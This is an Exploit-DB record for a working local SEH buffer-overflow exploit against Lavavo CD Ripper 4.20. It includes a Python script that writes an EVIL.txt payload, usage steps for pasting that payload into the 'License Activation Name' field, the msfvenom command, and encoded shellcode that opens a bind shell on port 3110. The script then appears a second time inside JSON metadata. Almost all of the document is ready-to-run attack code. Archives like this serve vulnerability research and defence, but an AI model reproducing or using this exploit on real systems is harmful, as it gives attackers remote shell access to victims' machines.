ID EDB-ID:46755
Type exploitdb
Reporter Exploit-DB
Modified 2019-04-25T00:00:00
Description
# Exploit Title: Lavavo CD Ripper 4.20 Local Seh Exploit
# Date: 25.04.2019
# Vendor Homepage:https://www.lavavosoftware.com
# Software Link: https://lavavo-cd-ripper.jaleco.com/download
# Exploit Author: Achilles
# Tested Version: 4.20
# Tested on: Windows XP SP3 EN
# Windows 7 Sp1 x64
# 1.- Run python code : Lavavo.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open LavavoCDRipper.exe and click UNLOCK.
# 4.- Paste the Content of EVIL.txt into the 'License Activation Name'
# 5.- License Key 123456789
# 6.- Click 'Unlock Now' and you will have a bind shell port 3110.
#!/usr/bin/env python
import struct
buffer = "\x41" * 300
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh = struct.pack('<L',0x1003157d) #libsndfile.dll
nops = "\x90" * 20
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b"
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))
payload = buffer + nseh + seh + nops + shellcode + pad
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
{"id": "EDB-ID:46755", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Lavavo CD Ripper 4.20 - 'License Activation Name' Buffer Overflow (SEH)", "description": "", "published": "2019-04-25T00:00:00", "modified": "2019-04-25T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/46755", "reporter": "Exploit-DB", "references": [], "cvelist": [], "lastseen": "2019-04-25T18:30:57", "viewCount": 6, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2019-04-25T18:30:57", "rev": 2}, "dependencies": {"references": [], "modified": "2019-04-25T18:30:57", "rev": 2}, "vulnersScore": 0.5}, "sourceHref": "https://www.exploit-db.com/download/46755", "sourceData": "# Exploit Title: Lavavo CD Ripper 4.20 Local Seh Exploit\r\n# Date: 25.04.2019\r\n# Vendor Homepage:https://www.lavavosoftware.com\r\n# Software Link: https://lavavo-cd-ripper.jaleco.com/download\r\n# Exploit Author: Achilles\r\n# Tested Version: 4.20\r\n# Tested on: Windows XP SP3 EN\r\n# Windows 7 Sp1 x64\r\n\r\n# 1.- Run python code : Lavavo.py\r\n# 2.- Open EVIL.txt and copy content to Clipboard\r\n# 3.- Open LavavoCDRipper.exe and click UNLOCK.\r\n# 4.- Paste the Content of EVIL.txt into the 'License Activation Name'\r\n# 5.- License Key 123456789\r\n# 6.- Click 'Unlock Now' and you will have a bind shell port 3110.\r\n\r\n#!/usr/bin/env python\r\nimport struct\r\n\r\nbuffer = \"\\x41\" * 300\r\nnseh = \"\\xeb\\x06\\x90\\x90\" #jmp short 6\r\nseh = struct.pack('<L',0x1003157d) #libsndfile.dll\r\nnops = \"\\x90\" * 20\r\n\r\n#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b \"\\x00\\x0a\\x0d\" -i 1 -f python\r\n#badchars \"\\x00\\x0a\\x0d\"\r\nshellcode = (\"\\xb8\\xf4\\xc0\\x2a\\xd0\\xdb\\xd8\\xd9\\x74\\x24\\xf4\\x5a\\x2b\" \r\n\"\\xc9\\xb1\\x53\\x31\\x42\\x12\\x83\\xea\\xfc\\x03\\xb6\\xce\\xc8\"\r\n\"\\x25\\xca\\x27\\x8e\\xc6\\x32\\xb8\\xef\\x4f\\xd7\\x89\\x2f\\x2b\"\r\n\"\\x9c\\xba\\x9f\\x3f\\xf0\\x36\\x6b\\x6d\\xe0\\xcd\\x19\\xba\\x07\"\r\n\"\\x65\\x97\\x9c\\x26\\x76\\x84\\xdd\\x29\\xf4\\xd7\\x31\\x89\\xc5\"\r\n\"\\x17\\x44\\xc8\\x02\\x45\\xa5\\x98\\xdb\\x01\\x18\\x0c\\x6f\\x5f\"\r\n\"\\xa1\\xa7\\x23\\x71\\xa1\\x54\\xf3\\x70\\x80\\xcb\\x8f\\x2a\\x02\"\r\n\"\\xea\\x5c\\x47\\x0b\\xf4\\x81\\x62\\xc5\\x8f\\x72\\x18\\xd4\\x59\"\r\n\"\\x4b\\xe1\\x7b\\xa4\\x63\\x10\\x85\\xe1\\x44\\xcb\\xf0\\x1b\\xb7\"\r\n\"\\x76\\x03\\xd8\\xc5\\xac\\x86\\xfa\\x6e\\x26\\x30\\x26\\x8e\\xeb\"\r\n\"\\xa7\\xad\\x9c\\x40\\xa3\\xe9\\x80\\x57\\x60\\x82\\xbd\\xdc\\x87\"\r\n\"\\x44\\x34\\xa6\\xa3\\x40\\x1c\\x7c\\xcd\\xd1\\xf8\\xd3\\xf2\\x01\"\r\n\"\\xa3\\x8c\\x56\\x4a\\x4e\\xd8\\xea\\x11\\x07\\x2d\\xc7\\xa9\\xd7\"\r\n\"\\x39\\x50\\xda\\xe5\\xe6\\xca\\x74\\x46\\x6e\\xd5\\x83\\xa9\\x45\"\r\n\"\\xa1\\x1b\\x54\\x66\\xd2\\x32\\x93\\x32\\x82\\x2c\\x32\\x3b\\x49\"\r\n\"\\xac\\xbb\\xee\\xe4\\xa4\\x1a\\x41\\x1b\\x49\\xdc\\x31\\x9b\\xe1\"\r\n\"\\xb5\\x5b\\x14\\xde\\xa6\\x63\\xfe\\x77\\x4e\\x9e\\x01\\x7b\\xa9\"\r\n\"\\x17\\xe7\\xe9\\xa5\\x71\\xbf\\x85\\x07\\xa6\\x08\\x32\\x77\\x8c\"\r\n\"\\x20\\xd4\\x30\\xc6\\xf7\\xdb\\xc0\\xcc\\x5f\\x4b\\x4b\\x03\\x64\"\r\n\"\\x6a\\x4c\\x0e\\xcc\\xfb\\xdb\\xc4\\x9d\\x4e\\x7d\\xd8\\xb7\\x38\"\r\n\"\\x1e\\x4b\\x5c\\xb8\\x69\\x70\\xcb\\xef\\x3e\\x46\\x02\\x65\\xd3\"\r\n\"\\xf1\\xbc\\x9b\\x2e\\x67\\x86\\x1f\\xf5\\x54\\x09\\x9e\\x78\\xe0\"\r\n\"\\x2d\\xb0\\x44\\xe9\\x69\\xe4\\x18\\xbc\\x27\\x52\\xdf\\x16\\x86\"\r\n\"\\x0c\\x89\\xc5\\x40\\xd8\\x4c\\x26\\x53\\x9e\\x50\\x63\\x25\\x7e\"\r\n\"\\xe0\\xda\\x70\\x81\\xcd\\x8a\\x74\\xfa\\x33\\x2b\\x7a\\xd1\\xf7\"\r\n\"\\x5b\\x31\\x7b\\x51\\xf4\\x9c\\xee\\xe3\\x99\\x1e\\xc5\\x20\\xa4\"\r\n\"\\x9c\\xef\\xd8\\x53\\xbc\\x9a\\xdd\\x18\\x7a\\x77\\xac\\x31\\xef\"\r\n\"\\x77\\x03\\x31\\x3a\")\r\npad =\"C\" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))\r\npayload = buffer + nseh + seh + nops + shellcode + pad\r\n\r\ntry:\r\n\tf=open(\"Evil.txt\",\"w\")\r\n\tprint \"[+] Creating %s bytes evil payload..\" %len(payload)\r\n\tf.write(payload)\r\n\tf.close()\r\n\tprint \"[+] File created!\"\r\nexcept:\r\n\tprint \"File cannot be created\"", "osvdbidlist": []}
{}
